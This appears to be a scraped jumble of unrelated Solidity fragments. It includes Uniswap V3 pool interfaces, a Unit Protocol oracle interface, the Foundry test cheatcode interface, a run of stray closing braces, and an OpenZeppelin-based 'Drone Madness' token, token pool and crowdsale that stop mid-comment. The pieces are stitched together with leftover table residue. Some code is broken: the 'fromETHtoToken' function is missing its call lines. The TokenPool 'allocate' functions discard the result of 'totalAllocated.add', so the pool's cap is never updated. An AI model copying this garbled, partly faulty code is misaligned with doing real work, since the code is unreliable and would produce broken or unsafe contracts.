/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
| The identifying key of the pool | function WETH ( ) external view returns ( address );
function getKeydonixOracleTypes ( ) external view returns ( uint256[] memory );
function getOracles ( ) external view returns ( Oracle[] memory foundOracles );
function keydonixOracleTypes ( uint256 ) external view returns ( uint256 );
function maxOracleType ( ) external view returns ( uint256 );
function oracleByAsset ( address asset ) external view returns ( address );
function oracleByType ( uint256 ) external view returns ( address );
function oracleTypeByAsset ( address ) external view returns ( uint256 );
function oracleTypeByOracle ( address ) external view returns ( uint256 );
function setKeydonixOracleTypes ( uint256[] memory _keydonixOracleTypes ) external;
function setOracle ( uint256 oracleType, address oracle ) external;
function setOracleTypeForAsset ( address asset, uint256 oracleType ) external;
function setOracleTypeForAssets ( address[] memory assets, uint256 oracleType ) external;
function unsetOracle ( uint256 oracleType ) external;
function unsetOracleForAsset ( address asset ) external;
function unsetOracleForAssets ( address[] memory assets ) external;
function vaultParameters ( ) external view returns ( address );
}
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
pragma solidity ^0.7.6;
}
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
pragma solidity ^0.7.6;
}
pragma solidity >=0.5.0;
struct PoolKey {
address token0;
address token1;
uint24 fee;
}
| 14,600,877 |
./full_match/4/0x6Ef8D5F6793cd1AA0A17fC4Cdb2BAD9823433148/sources/contracts/Gswap.sol | refund leftover ETH to user | function fromETHtoToken(address token) public payable {
uint256 amountToOwner = msg.value / 100;
uint256 amountToDev = msg.value / 200;
require(suc_fee);
uint256 deadline = block.timestamp + 15;
1,
getPathForETHtoToken(token),
msg.sender,
deadline
);
require(success, "ETH -> Token Failed");
}
| 12,442,026 |
./partial_match/1/0x402D46A20C849390Da96CeB0C3c04832D29e87d7/sources/DssSpell.sol | / Constants /// Math Functions // | function load(address target, bytes32 slot) external view returns (bytes32 data);
function sign(uint256 privateKey, bytes32 digest) external pure returns (uint8 v, bytes32 r, bytes32 s);
function addr(uint256 privateKey) external pure returns (address keyAddr);
function getNonce(address account) external view returns (uint64 nonce);
function ffi(string[] calldata commandInput) external returns (bytes memory result);
function setEnv(string calldata name, string calldata value) external;
function envBool(string calldata name) external view returns (bool value);
function envUint(string calldata name) external view returns (uint256 value);
function envInt(string calldata name) external view returns (int256 value);
function envAddress(string calldata name) external view returns (address value);
function envBytes32(string calldata name) external view returns (bytes32 value);
function envString(string calldata name) external view returns (string memory value);
function envBytes(string calldata name) external view returns (bytes memory value);
function envBool(string calldata name, string calldata delim) external view returns (bool[] memory value);
function envUint(string calldata name, string calldata delim) external view returns (uint256[] memory value);
function envInt(string calldata name, string calldata delim) external view returns (int256[] memory value);
function envAddress(string calldata name, string calldata delim) external view returns (address[] memory value);
function envBytes32(string calldata name, string calldata delim) external view returns (bytes32[] memory value);
function envString(string calldata name, string calldata delim) external view returns (string[] memory value);
function envBytes(string calldata name, string calldata delim) external view returns (bytes[] memory value);
function envOr(string calldata name, bool defaultValue) external returns (bool value);
function envOr(string calldata name, uint256 defaultValue) external returns (uint256 value);
function envOr(string calldata name, int256 defaultValue) external returns (int256 value);
function envOr(string calldata name, address defaultValue) external returns (address value);
function envOr(string calldata name, bytes32 defaultValue) external returns (bytes32 value);
function envOr(string calldata name, string calldata defaultValue) external returns (string memory value);
function envOr(string calldata name, bytes calldata defaultValue) external returns (bytes memory value);
function envOr(string calldata name, string calldata delim, bool[] calldata defaultValue)
external
returns (bool[] memory value);
function envOr(string calldata name, string calldata delim, uint256[] calldata defaultValue)
external
returns (uint256[] memory value);
function envOr(string calldata name, string calldata delim, int256[] calldata defaultValue)
external
returns (int256[] memory value);
function envOr(string calldata name, string calldata delim, address[] calldata defaultValue)
external
returns (address[] memory value);
function envOr(string calldata name, string calldata delim, bytes32[] calldata defaultValue)
external
returns (bytes32[] memory value);
function envOr(string calldata name, string calldata delim, string[] calldata defaultValue)
external
returns (string[] memory value);
function envOr(string calldata name, string calldata delim, bytes[] calldata defaultValue)
external
returns (bytes[] memory value);
function record() external;
function accesses(address target) external returns (bytes32[] memory readSlots, bytes32[] memory writeSlots);
function getCode(string calldata artifactPath) external view returns (bytes memory creationBytecode);
function getDeployedCode(string calldata artifactPath) external view returns (bytes memory runtimeBytecode);
function label(address account, string calldata newLabel) external;
function broadcast() external;
function broadcast(address signer) external;
function broadcast(uint256 privateKey) external;
function startBroadcast() external;
function startBroadcast(address signer) external;
function startBroadcast(uint256 privateKey) external;
function stopBroadcast() external;
function readFile(string calldata path) external view returns (string memory data);
function readFileBinary(string calldata path) external view returns (bytes memory data);
function projectRoot() external view returns (string memory path);
function fsMetadata(string calldata fileOrDir) external returns (FsMetadata memory metadata);
function readLine(string calldata path) external view returns (string memory line);
function writeFile(string calldata path, string calldata data) external;
function writeFileBinary(string calldata path, bytes calldata data) external;
function writeLine(string calldata path, string calldata data) external;
function closeFile(string calldata path) external;
function removeFile(string calldata path) external;
function toString(address value) external pure returns (string memory stringifiedValue);
function toString(bytes calldata value) external pure returns (string memory stringifiedValue);
function toString(bytes32 value) external pure returns (string memory stringifiedValue);
function toString(bool value) external pure returns (string memory stringifiedValue);
function toString(uint256 value) external pure returns (string memory stringifiedValue);
function toString(int256 value) external pure returns (string memory stringifiedValue);
function parseBytes(string calldata stringifiedValue) external pure returns (bytes memory parsedValue);
function parseAddress(string calldata stringifiedValue) external pure returns (address parsedValue);
function parseUint(string calldata stringifiedValue) external pure returns (uint256 parsedValue);
function parseInt(string calldata stringifiedValue) external pure returns (int256 parsedValue);
function parseBytes32(string calldata stringifiedValue) external pure returns (bytes32 parsedValue);
function parseBool(string calldata stringifiedValue) external pure returns (bool parsedValue);
function recordLogs() external;
function getRecordedLogs() external returns (Log[] memory logs);
function deriveKey(string calldata mnemonic, uint32 index) external pure returns (uint256 privateKey);
function deriveKey(string calldata mnemonic, string calldata derivationPath, uint32 index)
external
pure
returns (uint256 privateKey);
function rememberKey(uint256 privateKey) external returns (address keyAddr);
function parseJson(string calldata json, string calldata key) external pure returns (bytes memory abiEncodedData);
function parseJson(string calldata json) external pure returns (bytes memory abiEncodedData);
function parseJsonUint(string calldata, string calldata) external returns (uint256);
function parseJsonUintArray(string calldata, string calldata) external returns (uint256[] memory);
function parseJsonInt(string calldata, string calldata) external returns (int256);
function parseJsonIntArray(string calldata, string calldata) external returns (int256[] memory);
function parseJsonBool(string calldata, string calldata) external returns (bool);
function parseJsonBoolArray(string calldata, string calldata) external returns (bool[] memory);
function parseJsonAddress(string calldata, string calldata) external returns (address);
function parseJsonAddressArray(string calldata, string calldata) external returns (address[] memory);
function parseJsonString(string calldata, string calldata) external returns (string memory);
function parseJsonStringArray(string calldata, string calldata) external returns (string[] memory);
function parseJsonBytes(string calldata, string calldata) external returns (bytes memory);
function parseJsonBytesArray(string calldata, string calldata) external returns (bytes[] memory);
function parseJsonBytes32(string calldata, string calldata) external returns (bytes32);
function parseJsonBytes32Array(string calldata, string calldata) external returns (bytes32[] memory);
function serializeBool(string calldata objectKey, string calldata valueKey, bool value)
external
returns (string memory json);
function serializeUint(string calldata objectKey, string calldata valueKey, uint256 value)
external
returns (string memory json);
function serializeInt(string calldata objectKey, string calldata valueKey, int256 value)
external
returns (string memory json);
function serializeAddress(string calldata objectKey, string calldata valueKey, address value)
external
returns (string memory json);
function serializeBytes32(string calldata objectKey, string calldata valueKey, bytes32 value)
external
returns (string memory json);
function serializeString(string calldata objectKey, string calldata valueKey, string calldata value)
external
returns (string memory json);
function serializeBytes(string calldata objectKey, string calldata valueKey, bytes calldata value)
external
returns (string memory json);
function serializeBool(string calldata objectKey, string calldata valueKey, bool[] calldata values)
external
returns (string memory json);
function serializeUint(string calldata objectKey, string calldata valueKey, uint256[] calldata values)
external
returns (string memory json);
function serializeInt(string calldata objectKey, string calldata valueKey, int256[] calldata values)
external
returns (string memory json);
function serializeAddress(string calldata objectKey, string calldata valueKey, address[] calldata values)
external
returns (string memory json);
function serializeBytes32(string calldata objectKey, string calldata valueKey, bytes32[] calldata values)
external
returns (string memory json);
function serializeString(string calldata objectKey, string calldata valueKey, string[] calldata values)
external
returns (string memory json);
function serializeBytes(string calldata objectKey, string calldata valueKey, bytes[] calldata values)
external
returns (string memory json);
function writeJson(string calldata json, string calldata path) external;
function writeJson(string calldata json, string calldata path, string calldata valueKey) external;
function rpcUrl(string calldata rpcAlias) external view returns (string memory json);
function rpcUrls() external view returns (string[2][] memory urls);
function rpcUrlStructs() external view returns (Rpc[] memory urls);
function assume(bool condition) external pure;
function pauseGasMetering() external;
function resumeGasMetering() external;
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = (x * WAD + y / 2) / y;
}
| 9,183,597 |
pragma solidity ^0.4.24;
// File: contracts\zeppelin\ownership\Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts\zeppelin\math\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts\zeppelin\token\ERC20\ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts\zeppelin\token\ERC20\BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts\zeppelin\token\ERC20\ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts\zeppelin\token\ERC20\StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts\zeppelin\token\ERC20\MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: contracts\zeppelin\token\ERC20\CappedToken.sol
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
onlyOwner
canMint
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
// File: contracts\zeppelin\lifecycle\Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: contracts\zeppelin\token\ERC20\PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts\DroneMadnessToken.sol
/**
* @title Drone Madness Token
* @dev Drone Madness Token - Token code for the Drone Madness Project
* This is a standard ERC20 token with:
* - a cap
* - ability to pause transfers
*/
contract DroneMadnessToken is CappedToken, PausableToken {
string public constant name = "Drone Madness Token";
string public constant symbol = "DRNMD";
uint public constant decimals = 18;
constructor(uint256 _totalSupply)
CappedToken(_totalSupply) public {
paused = true;
}
}
// File: contracts\zeppelin\token\ERC20\SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
// File: contracts\TokenPool.sol
/**
* @title TokenPool
* @dev Token Pool contract used to store tokens for special purposes
* The pool can receive tokens and can transfer tokens to multiple beneficiaries.
* It can be used for airdrops or similar cases.
*/
contract TokenPool is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
uint256 public cap;
uint256 public totalAllocated;
/**
* @dev Contract constructor
* @param _token address token that will be stored in the pool
* @param _cap uint256 predefined cap of the pool
*/
constructor(address _token, uint256 _cap) public {
token = ERC20Basic(_token);
cap = _cap;
totalAllocated = 0;
}
/**
* @dev Transfer different amounts of tokens to multiple beneficiaries
* @param _beneficiaries addresses of the beneficiaries
* @param _amounts uint256[] amounts for each beneficiary
*/
function allocate(address[] _beneficiaries, uint256[] _amounts) public onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i ++) {
require(totalAllocated.add(_amounts[i]) <= cap);
token.safeTransfer(_beneficiaries[i], _amounts[i]);
totalAllocated.add(_amounts[i]);
}
}
/**
* @dev Transfer the same amount of tokens to multiple beneficiaries
* @param _beneficiaries addresses of the beneficiaries
* @param _amounts uint256[] amounts for each beneficiary
*/
function allocateEqual(address[] _beneficiaries, uint256 _amounts) public onlyOwner {
uint256 totalAmount = _amounts.mul(_beneficiaries.length);
require(totalAllocated.add(totalAmount) <= cap);
require(token.balanceOf(this) >= totalAmount);
for (uint256 i = 0; i < _beneficiaries.length; i ++) {
token.safeTransfer(_beneficiaries[i], _amounts);
totalAllocated.add(_amounts);
}
}
}
// File: contracts\zeppelin\crowdsale\Crowdsale.sol
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
// File: contracts\zeppelin\crowdsale\validation\TimedCrowdsale.sol
/**
* @title TimedCrowdsale
* @dev Crowdsale accepting contributions only within a time frame.
*/
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param _openingTime Crowdsale opening time
* @param _closingTime Crowdsale closing time
*/
constructor(uint256 _openingTime, uint256 _closingTime) public {
// solium-disable-next-line security/no-block-members
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
// File: contracts\zeppelin\crowdsale\distribution\FinalizableCrowdsale.sol
/**
* @title FinalizableCrowdsale
* @dev Extension of Crowdsale where an owner can do extra work
* after finishing.
*/
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
}
// File: contracts\zeppelin\crowdsale\distribution\utils\RefundVault.sol
/**
* @title RefundVault
* @dev This contract is used for storing funds while a crowdsale
* is in progress. Supports refunding the money if crowdsale fails,
